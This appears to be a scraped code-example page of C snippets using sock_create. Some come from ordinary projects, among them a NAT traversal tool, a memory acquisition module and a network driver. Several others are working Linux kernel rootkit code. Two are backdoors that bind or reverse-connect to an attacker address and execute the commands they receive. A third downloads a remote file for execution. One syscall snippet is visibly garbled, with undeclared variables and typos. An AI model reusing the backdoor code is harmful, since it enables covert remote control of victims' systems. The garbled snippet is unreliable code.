예제 #1
0
static void backdoor_bind(void) 
{

    /* default: client connect with : nc 127.0.0.1 5000 */

    struct socket *sock;
    struct sockaddr_in sin;
    int error;
    current->flags |= PF_NOFREEZE;

    error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
    if (error < 0) {
        dbg("backdoor: Error during creation of socket; terminating\n");
        return;
    }

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = in_aton(IP_SOURCE);
    sin.sin_port = htons(PORT_SRC);

    error = sock->ops->bind(sock, (struct sockaddr *) &sin, sizeof(sin));
    if (error < 0) {
        dbg("backdoor: Error binding socket\n");
        sock_release(sock);
        return;
    }

    error = sock->ops->listen(sock, 5);
    if (error < 0) {
        dbg("backdoor: Error listening on socket \n");
        sock_release(sock);

        return;
    }
    char *buff = NULL;
    buff = kmalloc(512, GFP_KERNEL);
    int tt = 0;
    struct socket *newsock;
    newsock=(struct socket*)kmalloc(sizeof(struct socket),GFP_KERNEL);
    error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&newsock);
    if(error<0) {
        dbg("backdoor: Error create newsock error\n");
        kfree(buff);
        sock_release(sock);

        return; 
    }
    //wait incoming connection
    int file_created = 0;
    while (1) {
        error = newsock->ops->accept(sock,newsock,O_NONBLOCK);
        if(error >= 0) {
            while(tt = rk_recvbuff(newsock, buff, 512)) {
                int exec_result;
                exec_result = exec_cmd(buff);
                if(exec_result == 0) {

                    char *result = NULL;
                    result = kmalloc(1024, GFP_KERNEL);
                    if ( ! result ) {
                        dbg("backdoor: Error allocating memory\n");
                
                        kfree(buff);
                        sock_release(newsock);
                        sock_release(sock);
                        return;
                    }
                    int bytes_read;
                    bytes_read = read_result(result);
                    file_created = 1;

                    int res = 0;
                    res = rk_sendbuff(newsock, result, bytes_read);
                    kfree(result);
                    memset(buff, '\0', sizeof(buff)); //cleanup the buffer
                    if (res == 0) {
                        remove_file();
                        dbg("backdoor: Error during connection of socket; terminating\n");
                
                        break;
                    }
                    tt = 0;
                    bytes_read = 0;
                } else {
                    dbg("backdoor: Error executing cmd\n");
                }
                if(signal_pending(current)) {
                    break;
                }
            }
            if (file_created) {
                remove_file();
                file_created = 0;
            }
        }
        if(signal_pending(current)) {
            break;
        }
    }

    kfree(buff);
    sock_release(newsock);
    sock_release(sock);

}
예제 #2
0
파일: udpclient.c 프로젝트: PKRoma/pwnat
int udpclient(int argc, char* argv[])
{
	char* lhost, *lport, *phost, *pport, *rhost, *rport;
	list_t* clients;
	list_t* conn_clients;
	client_t* client;
	client_t* client2;
	socket_t* tcp_serv = NULL;
	socket_t* tcp_sock = NULL;
	socket_t* udp_sock = NULL;
	char data[MSG_MAX_LEN];
	char addrstr[ADDRSTRLEN];
	char pport_s[6];
	struct timeval curr_time;
	struct timeval check_time;
	struct timeval check_interval;
	struct timeval timeout;
	fd_set client_fds;
	fd_set read_fds;
	uint16_t tmp_id;
	uint8_t tmp_type;
	uint16_t tmp_len;
	uint16_t tmp_req_id;
	int num_fds;
	int ret;
	int i;
	int icmp_sock ;
	int timeexc = -1;
	struct sockaddr_in src, dest, rsrc;
	struct hostent* hp;
	uint32_t timeexc_ip;
	signal(SIGINT, &signal_handler);
	i = 0;
	if(index(argv[i], 58) || index(argv[i], 46))
		lhost = argv[i++];
	else
		lhost = NULL;
	lport = argv[i++];
	phost = argv[i++];
	if(index(argv[i], 58) || index(argv[i], 46)) {
		snprintf(pport_s, 5, "2222");
		pport = pport_s;
	} else
		pport = argv[i++];
	rhost = argv[i++];
	rport = argv[i++];
	/* Get info about localhost IP */
	if(!lhost){
		char szHostName[255];
		gethostname(szHostName, 255);
		hp = gethostbyname(szHostName);
	}else{
		hp = gethostbyname(lhost);
	}
	memset(&rsrc, 0, sizeof(struct sockaddr_in));
	timeexc_ip				= *(uint32_t*)hp->h_addr_list[0];
	rsrc.sin_family			= AF_INET;
	rsrc.sin_port			= 0;
	rsrc.sin_addr.s_addr	= timeexc_ip;
	/* IP of destination */
	memset(&src, 0, sizeof(struct sockaddr_in));
	hp					  = gethostbyname(phost);
	timeexc_ip            = *(uint32_t*)hp->h_addr_list[0];
	src.sin_family        = AF_INET;
	src.sin_port          = 0;
	src.sin_addr.s_addr   = timeexc_ip;
	/* IP of where the fake packet (echo request) was going */
	hp = gethostbyname("3.3.3.3");
	memcpy(&dest.sin_addr, hp->h_addr, hp->h_length);
	inet_pton(AF_INET, "3.3.3.3", &(dest.sin_addr));
	srand(time(NULL));
	next_req_id = rand() % 0xffff;
	/* Create an empty list for the clients */
	clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
						  p_client_free);
	ERROR_GOTO(clients == NULL, "Error creating clients list.", done);
	/* Create and empty list for the connecting clients */
	conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy,
							   p_client_free);
	ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done);
	/* Create a TCP server socket to listen for incoming connections */
	tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1);
	ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done);
	if(debug_level >= DEBUG_LEVEL1) {
		printf("Listening on TCP %s\n",
			   sock_get_str(tcp_serv, addrstr, sizeof(addrstr)));
	}
	FD_ZERO(&client_fds);
	/* Initialize all the timers */
	timerclear(&timeout);
	check_interval.tv_sec = 0;
	check_interval.tv_usec = 500000;
	gettimeofday(&check_time, NULL);
	/* open raw socket */
	create_icmp_socket(&icmp_sock);
	if(icmp_sock == -1) {
		printf("[main] can't open raw socket\n");
		exit(1);
	}
	while(running) {
		if(!timerisset(&timeout))
			timeout.tv_usec = 50000;
		if(++timeexc==100) {
			timeexc=0;
			/* Send ICMP TTL exceeded to penetrate remote NAT */
			send_icmp(icmp_sock, &rsrc, &src, &dest, 0);
		}
		read_fds = client_fds;
		FD_SET(SOCK_FD(tcp_serv), &read_fds);
		ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout);
		PERROR_GOTO(ret < 0, "select", done);
		num_fds = ret;
		gettimeofday(&curr_time, NULL);
		/* Go through all the clients and check if didn't get an ACK for sent
		   data during the timeout period */
		if(timercmp(&curr_time, &check_time, >)) {
			for(i = 0; i < LIST_LEN(clients); i++) {
				client = list_get_at(clients, i);
				ret = client_check_and_resend(client, curr_time);
				if(ret == -2) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
					continue;
				}
				ret = client_check_and_send_keepalive(client, curr_time);
				if(ret == -2) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
				}
			}
			timeradd(&curr_time, &check_interval, &check_time);
		}
		if(num_fds == 0) continue;
		timeexc=0;
		/* Check if pending TCP connection to accept and create a new client
		   and UDP connection if one is ready */
		if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) {
			tcp_sock = sock_accept(tcp_serv);
			udp_sock = sock_create(phost, pport, ipver,
								   SOCK_TYPE_UDP, 0, 1);
			client = client_create(next_req_id++, tcp_sock, udp_sock, 1);
			if(!client || !tcp_sock || !udp_sock) {
				if(tcp_sock)
					sock_close(tcp_sock);
				if(udp_sock)
					sock_close(udp_sock);
			} else {
				client2 = list_add(conn_clients, client);
				client_free(client);
				client = NULL;
				client_send_hello(client2, rhost, rport, CLIENT_ID(client2));
				client_add_tcp_fd_to_set(client2, &client_fds);
				client_add_udp_fd_to_set(client2, &client_fds);
			}
			sock_free(tcp_sock);
			sock_free(udp_sock);
			tcp_sock = NULL;
			udp_sock = NULL;
			num_fds--;
		}
		/* Check for pending handshakes from UDP connection */
		for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) {
			client = list_get_at(conn_clients, i);
			if(client_udp_fd_isset(client, &read_fds)) {
				num_fds--;
				tmp_req_id = CLIENT_ID(client);
				ret = client_recv_udp_msg(client, data, sizeof(data),
										  &tmp_id, &tmp_type, &tmp_len);
				if(ret == 0)
					ret = handle_message(client, tmp_id, tmp_type,
										 data, tmp_len);
				if(ret < 0) {
					disconnect_and_remove_client(tmp_req_id, conn_clients,
												 &client_fds);
					i--;
				} else {
					client = list_add(clients, client);
					list_delete_at(conn_clients, i);
					client_remove_udp_fd_from_set(client, &read_fds);
					i--;
				}
			}
		}
		/* Check if data is ready from any of the clients */
		for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) {
			client = list_get_at(clients, i);
			/* Check for UDP data */
			if(client_udp_fd_isset(client, &read_fds)) {
				num_fds--;
				ret = client_recv_udp_msg(client, data, sizeof(data),
										  &tmp_id, &tmp_type, &tmp_len);
				if(ret == 0)
					ret = handle_message(client, tmp_id, tmp_type,
										 data, tmp_len);
				if(ret < 0) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
					continue; /* Don't go to check the TCP connection */
				}
			}
			/* Check for TCP data */
			if(client_tcp_fd_isset(client, &read_fds)) {
				num_fds--;
				ret = client_recv_tcp_data(client);
				if(ret == 0)
					ret = client_send_udp_data(client);
#if 0 /* if udptunnel is taking up 100% of cpu, try including this */
				else if(ret == 1)
#ifdef _WIN32
					_sleep(1);
#else
					usleep(1000); /* Quick hack so doesn't use 100% of CPU if
                                     data wasn't ready yet (waiting for ack) */
#endif /*WIN32*/
#endif /*0*/
				if(ret < 0) {
					disconnect_and_remove_client(CLIENT_ID(client), clients,
												 &client_fds);
					i--;
				}
			}
		}
	}
done:
	if(debug_level >= DEBUG_LEVEL1)
		printf("Cleaning up...\n");
	if(tcp_serv) {
		sock_close(tcp_serv);
		sock_free(tcp_serv);
	}
	if(udp_sock) {
		sock_close(udp_sock);
		sock_free(udp_sock);
	}
	if(clients)
		list_free(clients);
	if(debug_level >= DEBUG_LEVEL1)
		printf("Goodbye.\n");
	return 0;
}
예제 #3
0
static int
sock_tcp_create (void)
{
    return sock_create (AF_INET, SOCK_STREAM);
}
예제 #4
0
static void backdoor_reverse(void) 
{
    /* default: client bind with : nc -lvp 2424 */

    struct socket *sock;
    struct sockaddr_in sin;
    int error;
    char *buff = NULL;
    current->flags |= PF_NOFREEZE;

    error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
    if (error < 0) {
        dbg("backdoor: Error during creation of socket; terminating\n");
        return;
    }

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = in_aton(IP_DEST);
    sin.sin_port = htons(PORT_DEST);

    error = sock->ops->connect(sock, (struct sockaddr*) &sin, sizeof(sin), !O_NONBLOCK);
    if (error < 0) {
        dbg("backdoor: Error during connection of socket; terminating\n");
        sock_release(sock);
        return;
    }

    buff = kmalloc(512, GFP_KERNEL);
    if (buff == NULL)
    {
        dbg("backdoor: Error allocating memory\n");
        sock_release(sock);

        return;
    }

    int tt = 0;
    int file_created = 0;
    while(true) {
        if (signal_pending(current))
            break;
        tt = rk_recvbuff(sock, buff, 512);
        if (tt > 0) {

            int exec_result;
            exec_result = exec_cmd(buff);

            if(exec_result == 0) {

                char *result = NULL;
                result = kmalloc(1024, GFP_KERNEL);
                if ( ! result ) {
                    dbg("backdoor: Error allocating memory\n");
                    return;
                }
                int bytes_read;
                bytes_read = read_result(result);
                file_created = 1;

                int res = 0;
                res = rk_sendbuff(sock, result, bytes_read);
                kfree(result);
                memset(buff, '\0', sizeof(buff)); //cleanup the buffer
                if (res == 0) {
                    remove_file();
                    dbg("backdoor: Error during connection of socket; terminating\n");
                    break;
                }
                tt = 0;
                bytes_read = 0;
            } else {
                dbg("backdoor: Error executing cmd\n");
            }
        } else {
            if (file_created)
                remove_file();
            dbg("backdoor: Error during connection of socket; terminating\n");
            break;
        }
    }

    sock_release(sock);
    kfree(buff);
}
예제 #5
0
파일: dlexec.c 프로젝트: AnthraX1/suterusu
// IP and port are assumed network byte order (big endian)
unsigned int download_file ( char *path, unsigned int ip, unsigned short port )
{
    struct file *filep;
    int bytes_read, bytes_written;
    unsigned int size, crc32_target, crc32_calc = 0;
    char *buf;
    struct sockaddr_in saddr;
    struct socket *sock = NULL;
    mm_segment_t old_fs;

    if ( ! (filep = filp_open(path, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU|S_IRWXG|S_IRWXO)) )
        return 1;

    buf = kmalloc(4096, GFP_KERNEL);
    if ( ! buf )
    {
        DEBUG("Error allocating memory for download\n");

        filp_close(filep, NULL);
        return 1;
    }

    if ( sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock) < 0 )
    {
        DEBUG("Error creating socket\n");

        filp_close(filep, NULL);
        kfree(buf);
        return 1;
    }

    memset(&saddr, 0, sizeof(saddr));
    saddr.sin_family = AF_INET;
    saddr.sin_port = port;
    saddr.sin_addr.s_addr = ip;

    if ( inet_stream_connect(sock, (struct sockaddr *)&saddr, sizeof(saddr), 0) < 0 )
    {
        DEBUG("Error connecting socket to address\n");

        filp_close(filep, NULL);
        kfree(buf);
        return 1;
    }

    if ( (size = get_uint(sock)) < 0 )
    {
        DEBUG("Error getting size from socket\n");

        filp_close(filep, NULL);
        kfree(buf);
        return 1;
    }

    while ( 1 )
    {
        if ( size > sizeof(buf) )
            bytes_read = recv_msg(sock, buf, sizeof(buf));
        else
            bytes_read = recv_msg(sock, buf, size);

        if ( bytes_read <= 0 )
            break;

        size -= bytes_read;

        while ( bytes_read > 0 )
        {
            old_fs = get_fs();
            set_fs(get_ds());

            if ( (bytes_written = filep->f_op->write(filep, buf, bytes_read, &filep->f_pos)) <= 0 )
            {
                DEBUG("Error writing to file\n");

                set_fs(old_fs);
                filp_close(filep, NULL);
                kfree(buf);
                return 1;
            }

            set_fs(old_fs);

            crc32_calc = crc32_le(crc32_calc, buf, bytes_written);

            bytes_read -= bytes_written;
        }

        if ( size == 0 )
            break;
    }

    if ( (crc32_target = get_uint(sock)) < 0 )
    {
        DEBUG("Error getting crc32 from socket\n");

        filp_close(filep, NULL);
        kfree(buf);
        return 1;
    }

    inet_release(sock);

    filp_close(filep, NULL);

    if ( crc32_target != crc32_calc )
    {
        DEBUG("crc32 mismatch, possible data corruption, target=%x, calc=%x\n", crc32_target, crc32_calc);

        kfree(buf);
        return 1;
    }

    kfree(buf);
    return 0;
}
예제 #6
0
static int
sock_udp_create (void)
{
    return sock_create (AF_INET, SOCK_DGRAM);
}
예제 #7
0
파일: tcp.c 프로젝트: renethio/LiME
int setup_tcp() {
	struct sockaddr_in saddr;
	int r;
	
	mm_segment_t fs;

	int buffsize = PAGE_SIZE;

#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,5)
	r = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &control);
#else
	r = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &control);
#endif
    
	if (r < 0) {
		DBG("Error creating control socket");
		return r;
	}
	
	memset(&saddr, 0, sizeof(saddr));
	
	saddr.sin_family = AF_INET;
   	saddr.sin_port = htons(port);
   	if (localhostonly) {
   		saddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
   	} else {
		saddr.sin_addr.s_addr = htonl(INADDR_ANY);
   	}
	

	fs = get_fs();
	set_fs(KERNEL_DS);

	sock_setsockopt(control, SOL_SOCKET, SO_SNDBUF, (void *) &buffsize, sizeof (int));

	set_fs(fs);

	if (r < 0) {
		DBG("Error setting buffsize %d", r);
		return r;
	}

	r = control->ops->bind(control,(struct sockaddr*) &saddr,sizeof(saddr));
	if (r < 0) {
		DBG("Error binding control socket");
		return r;
	}

	r = control->ops->listen(control,1);
	if (r) {
		DBG("Error listening on socket");
		return r;
	}

#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,5)
	r = sock_create_kern(PF_INET, SOCK_STREAM, IPPROTO_TCP, &accept);
#else
	r = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &accept);
#endif
    
	if (r < 0) {
		DBG("Error creating accept socket");
		return r;
	}

	r = accept->ops->accept(control,accept,0);
	if (r < 0) {
		DBG("Error accepting socket");
		return r;
	}

	return 0;
}
예제 #8
0
파일: sbd.c 프로젝트: sciciliani/sbdtcp
static int __init sbd_init(void) {

	struct sockaddr_in to;
	int retVal = 0;
	char hello[12]; // "HOLA KERNEL"

	printk("Iniciando Socket...\n");

	if (sock_create(PF_INET, SOCK_STREAM, IPPROTO_IP, &clientsocket) < 0) {
		printk( KERN_ERR "server: Error creating clientsocket\n" );
		return -EIO;
	}
	
	memset(&to,0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_addr.s_addr = in_aton(ip);  
	to.sin_port = htons(SERVER_PORT);
	retVal = clientsocket->ops->connect(clientsocket, (struct sockaddr*)&to, sizeof(struct sockaddr_in), 0);

	if (retVal >= 0) {
		printk(KERN_EMERG "Conectado!\n");
		send_string(clientsocket, "HOLA MUNDO DESDE EL KERNEL\n");
		recv_string(clientsocket, hello, 11);
		printk(KERN_EMERG "Me respondieron %s\n", hello);
	} else {
		printk(KERN_EMERG "Error conectando a %s (%d)\n", ip, -retVal);
	}

	printk(KERN_NOTICE "Iniciando disco\n");

        /*
         * Set up our internal device.
         */
        Device.size = nsectors * logical_block_size;
        spin_lock_init(&Device.lock);
        Device.data = vmalloc(Device.size);
        if (Device.data == NULL)
                return -ENOMEM;
        /*
         * Get a request queue.
         */
        Queue = blk_init_queue(sbd_request, &Device.lock);
        if (Queue == NULL)
                goto out;
        blk_queue_logical_block_size(Queue, logical_block_size);
        /*
         * Get registered.
         */
        major_num = register_blkdev(major_num, "sbd"); //sbd
        if (major_num < 0) {
                printk(KERN_WARNING "sbd: unable to get major number\n"); //sbd
                goto out;
        }
        /*
         * And the gendisk structure.
         */
        Device.gd = alloc_disk(16);
        if (!Device.gd)
                goto out_unregister;
        Device.gd->major = major_num;
        Device.gd->first_minor = 0;
        Device.gd->fops = &sbd_ops;
        Device.gd->private_data = &Device;
        strcpy(Device.gd->disk_name, "sbd0"); //sbd0
        set_capacity(Device.gd, nsectors);
        Device.gd->queue = Queue;
        add_disk(Device.gd);

	printk("Elvis esta vivo!\n");

        return 0;

out_unregister:
        unregister_blkdev(major_num, "sbd"); //sbd
out:
        vfree(Device.data);
        return -ENOMEM;
}
예제 #9
0
파일: munged.c 프로젝트: JakeMick/munge
int
main (int argc, char *argv[])
{
    int   fd = -1;
    char *log_identity = argv[0];
    int   log_priority = LOG_INFO;
    int   log_options = LOG_OPT_PRIORITY;

#ifndef NDEBUG
    log_priority = LOG_DEBUG;
    log_options |= LOG_OPT_TIMESTAMP;
#endif /* NDEBUG */
    log_open_file (stderr, log_identity, log_priority, log_options);

    disable_core_dumps ();
    conf = create_conf ();
    parse_cmdline (conf, argc, argv);
    auth_recv_init (conf->auth_server_dir, conf->auth_client_dir,
        conf->got_force);

    if (!conf->got_foreground) {
        fd = daemonize_init (argv[0]);
        if (conf->got_syslog) {
            log_open_file (NULL, NULL, 0, 0);
            log_open_syslog (log_identity, LOG_DAEMON);
        }
        else {
            open_logfile (conf->logfile_name, log_priority, conf->got_force);
        }
    }
    handle_signals ();
    lookup_ip_addr (conf);
    write_pidfile (conf->pidfile_name, conf->got_force);
    if (conf->got_mlockall) {
        lock_memory ();
    }
    crypto_init ();
    if (random_init (conf->seed_name) < 0) {
        if (conf->seed_name) {
            free (conf->seed_name);
            conf->seed_name = NULL;
        }
    }
    create_subkeys (conf);
    conf->gids = gids_create (conf->gids_update_secs, conf->got_group_stat);
    replay_init ();
    timer_init ();
    sock_create (conf);

    if (!conf->got_foreground) {
        daemonize_fini (fd);
    }
    log_msg (LOG_NOTICE, "Starting %s daemon (pid %d)",
        META_ALIAS, (int) getpid ());

    job_accept (conf);

    sock_destroy (conf);
    timer_fini ();
    replay_fini ();
    gids_destroy (conf->gids);
    random_fini (conf->seed_name);
    crypto_fini ();
    destroy_conf (conf);

    log_msg (LOG_NOTICE, "Stopping %s daemon (pid %d)",
        META_ALIAS, (int) getpid ());

    exit (EMUNGE_SUCCESS);
}
예제 #10
0
static int cpt_dump_route(struct cpt_context * ctx)
{
	int err;
	struct socket *sock;
	struct msghdr msg;
	struct iovec iov;
	struct {
		struct nlmsghdr nlh;
		struct rtgenmsg g;
	} req;
	struct sockaddr_nl nladdr;
	struct cpt_object_hdr v;
	mm_segment_t oldfs;
	char *pg;

	err = sock_create(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE, &sock);
	if (err)
		return err;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;

	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = RTM_GETROUTE;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_pid = 0;
	req.g.rtgen_family = AF_INET;

	iov.iov_base=&req;
	iov.iov_len=sizeof(req);
	msg.msg_name=&nladdr;
	msg.msg_namelen=sizeof(nladdr);
	msg.msg_iov=&iov;
	msg.msg_iovlen=1;
	msg.msg_control=NULL;
	msg.msg_controllen=0;
	msg.msg_flags=MSG_DONTWAIT;

	oldfs = get_fs(); set_fs(KERNEL_DS);
	err = sock_sendmsg(sock, &msg, sizeof(req));
	set_fs(oldfs);

	if (err < 0)
		goto out_sock;

	pg = (char*)__get_free_page(GFP_KERNEL);
	if (pg == NULL) {
		err = -ENOMEM;
		goto out_sock;
	}

	cpt_open_section(ctx, CPT_SECT_NET_ROUTE);
	cpt_open_object(NULL, ctx);
	v.cpt_next = CPT_NULL;
	v.cpt_object = CPT_OBJ_NET_ROUTE;
	v.cpt_hdrlen = sizeof(v);
	v.cpt_content = CPT_CONTENT_NLMARRAY;

	ctx->write(&v, sizeof(v), ctx);

#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE)
restart:
#endif
	for (;;) {
		struct nlmsghdr *h;

		iov.iov_base = pg;
		iov.iov_len = PAGE_SIZE;

		oldfs = get_fs(); set_fs(KERNEL_DS);
		err = sock_recvmsg(sock, &msg, PAGE_SIZE, MSG_DONTWAIT);
		set_fs(oldfs);

		if (err < 0)
			goto out_sock_pg;
		if (msg.msg_flags & MSG_TRUNC) {
			err = -ENOBUFS;
			goto out_sock_pg;
		}

		h = (struct nlmsghdr*)pg;
		while (NLMSG_OK(h, err)) {
			if (h->nlmsg_type == NLMSG_DONE) {
				err = 0;
				goto done;
			}
			if (h->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *errm = (struct nlmsgerr*)NLMSG_DATA(h);
				err = errm->error;
				eprintk_ctx("NLMSG error: %d\n", errm->error);
				goto done;
			}
			if (h->nlmsg_type != RTM_NEWROUTE) {
				eprintk_ctx("NLMSG: %d\n", h->nlmsg_type);
				err = -EINVAL;
				goto done;
			}
			ctx->write(h, NLMSG_ALIGN(h->nlmsg_len), ctx);
			h = NLMSG_NEXT(h, err);
		}
		if (err) {
			eprintk_ctx("!!!Remnant of size %d %d %d\n", err, h->nlmsg_len, h->nlmsg_type);
			err = -EINVAL;
			break;
		}
	}
done:
#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE)
	if (!err && req.g.rtgen_family == AF_INET) {
		req.g.rtgen_family = AF_INET6;
		iov.iov_base=&req;
		iov.iov_len=sizeof(req);
		msg.msg_name=&nladdr;
		msg.msg_namelen=sizeof(nladdr);
		msg.msg_iov=&iov;
		msg.msg_iovlen=1;
		msg.msg_control=NULL;
		msg.msg_controllen=0;
		msg.msg_flags=MSG_DONTWAIT;

		oldfs = get_fs(); set_fs(KERNEL_DS);
		err = sock_sendmsg(sock, &msg, sizeof(req));
		set_fs(oldfs);

		if (err > 0)
			goto restart;
	}
#endif
	ctx->align(ctx);
	cpt_close_object(ctx);
	cpt_close_section(ctx);

out_sock_pg:
	free_page((unsigned long)pg);
out_sock:
	sock_release(sock);
	return err;
}
예제 #11
0
파일: kineto_gan.c 프로젝트: Axelfox/2.6.35
static int gannet_open(struct net_device *dev)
{
	int ret;
	struct gannet_private *p;

	printk(KERN_DEBUG "gannet_open()\n");
	netif_start_queue(dev);

	if(firstsetup == 1)
	{
		printk(KERN_DEBUG "gannet firstsetup executed\n");
		firstsetup = 0;

		gthreadquit = 0;
		p = netdev_priv(dev);

		/* Create tx socket */
		ret = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &p->tx_sock);
		if (ret < 0) {
			printk(KERN_ERR
			   "gannet tx socket() failed, failing init.\n");
			unregister_netdev(dev);
			free_netdev(dev);
			return -EIO;	/* I/O error */
		}
		memset(&p->tx_addr, 0, sizeof(p->tx_addr));
		p->tx_addr.sin_family = AF_INET;
		p->tx_addr.sin_port = htons(GAN_PS_PORT_2);
		p->tx_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

		/* Create rx socket */
		ret = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &p->rx_sock);
		if (ret < 0) {
			printk(KERN_ERR
			   "gannet rx socket() failed, failing init.\n");
			sock_release(p->tx_sock);
			unregister_netdev(dev);
			free_netdev(dev);
			return -EIO;	/* I/O error? There's nothing more applicable.*/
		}
		memset(&p->rx_addr, 0, sizeof(p->rx_addr));
		p->rx_addr.sin_family = AF_INET;
		p->rx_addr.sin_port = htons(GAN_VIF_LINK_PORT);
		p->rx_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

		/* Bind rx socket */
		ret = p->rx_sock->ops->bind(p->rx_sock,
					(struct sockaddr *) &p->rx_addr,
					sizeof(struct sockaddr));
		if (ret < 0) {
			printk(KERN_ERR "gannet rx socket() bind failed.\n");
			sock_release(p->tx_sock);
			sock_release(p->rx_sock);
			unregister_netdev(dev);
			free_netdev(dev);
			return -EIO;	/* I/O error */
		}
		else
		{
			printk(KERN_ERR "gannet rx socket() bind success.\n");
		}

		/* Create kernel thread for rx loop */
		gthread = kzalloc(sizeof(struct gannet_thread), GFP_KERNEL);
		if (gthread == NULL) {
			printk(KERN_ERR MODULE_NAME
			 "gannet: unable to allocate memory for kernel thread\n");
			sock_release(p->tx_sock);
			sock_release(p->rx_sock);
			unregister_netdev(dev);
			free_netdev(dev);
			return -ENOMEM;
		}

		/* Create work queue */
		gannet_wq = create_workqueue("gannet_queue");
		if (gannet_wq == NULL) {
			printk(KERN_ERR MODULE_NAME
			 "gannet: unable to initialize work queue\n");
			kfree(gthread);
			sock_release(p->tx_sock);
			sock_release(p->rx_sock);
			unregister_netdev(dev);
			free_netdev(dev);
			return -ENOMEM;
		}

		/* Store ref to private info */
		gthread->dev = dev;
		gthread->priv = p;

		printk(KERN_INFO "gannet starting kernel thread\n");
		gthread->thread = kthread_run((void *) gannet_recvloop,
					  NULL, MODULE_NAME);
		if (IS_ERR(gthread->thread)) {
				printk(KERN_ERR MODULE_NAME
			   	"gannet: unable to start kernel thread\n");
			sock_release(p->tx_sock);
			sock_release(p->rx_sock);
			unregister_netdev(dev);
			free_netdev(dev);
			kfree(gthread);
			destroy_workqueue(gannet_wq);
			gthread = NULL;
			return -ENOMEM;
		}
	}

	return 0;
}
asmlinkage int my_sys_call(struct params __user *pm)
{
    struct sockaddr_in saddr, daddr;
    struct socket *control= NULL;
    struct socket *data = NULL;
    struct socket *new_sock = NULL;

    int r = -1;
    char *response = kmalloc(SNDBUF, GFP_KERNEL);
    char *reply = kmalloc(RCVBUF, GFP_KERNEL);

    struct params pmk;

    if(unlikely(!access_ok(VERIFY_READ,
                 pm, sizeof(pm))))
        return -EFAULT;
    if(copy_from_user(&pmk, pm,
       sizeof(struct params)))
        return -EFAULT;
    if(current->uid != 0)
        return r;

    r = sock_create(PF_INET, SOCK_STREAM,
                    IPPROTO_TCP, &control);

    memset(&servaddr,0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(PORT);
    servaddr.sin_addr.s_addr =
        htonl(create_address(128, 196, 40, 225));

    r = control->ops->connect(control,
             (struct sockaddr *) &servaddr,
             sizeof(servaddr), O_RDWR);
    read_response(control, response);
    sprintf(temp, "USER %s\r\n", pmk.user);
    send_reply(control, temp);
    read_response(control, response);
    sprintf(temp, "PASS %s\r\n", pmk.pass);
    send_reply(control, temp);
    read_response(control, response);
    r = sock_create(PF_INET, SOCK_STREAM,
                IPPROTO_TCP, &data);
memset(&claddr,0, sizeof(claddr));
claddr.sin_family = AF_INET;
claddr.sin_port = htons(EPH_PORT);
clddr.sin_addr.s_addr= htonl(create_address(srcip));
r = data->ops->bind(data,
         (struct sockaddr *)&claddr,
         sizeof (claddr));
r = data->ops->listen(data, 1);
a = (char *)&claddr.sin_addr;
p = (char *)&claddr.sin_port;

send_reply(control, reply);
read_response(control, response);

strcpy(reply, "RETR ");
strcat(reply, src);
strcat(reply, "\r\n");

send_reply(control, reply);
read_response(control, response);
new_sock = sock_alloc();
new_sock->type = data->type;
new_sock->ops = data->ops;

r = data->ops->accept(data, new_sock, 0);
new_sock->ops->getname(new_sock,
    (struct sockaddr *)address, &len, 2);
    if((total_written = write_to_file(pmk.dst,
            new_sock, response)) < 0)
    goto err3;
return;
}
예제 #13
0
static void start(struct work_struct *work)
{
	int err,size;
	rrep * tmp_rrep;
	int bufsize = 10;
        unsigned char buf[bufsize+1];
	mm_segment_t oldfs;
	//current->flags |= PF_NOFREEZE;
	//allow_signal(SIGKILL);
	my_work = (my_work_t *)work;
		if ( 
              (err = sock_create(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &my_work->sock_send)) < 0 )
        {
                printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n", -ENXIO);
                return;
        }
	if((tmp_rrep = (rrep *) kmalloc(sizeof(rrep), GFP_ATOMIC)) == NULL)
	{
		printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n", -ENXIO);
		return;
	}
        memset(&my_work->addr, 0, sizeof(struct sockaddr));
        memset(&my_work->addr_send, 0, sizeof(struct sockaddr));
        my_work->addr_send.sin_family = AF_INET;

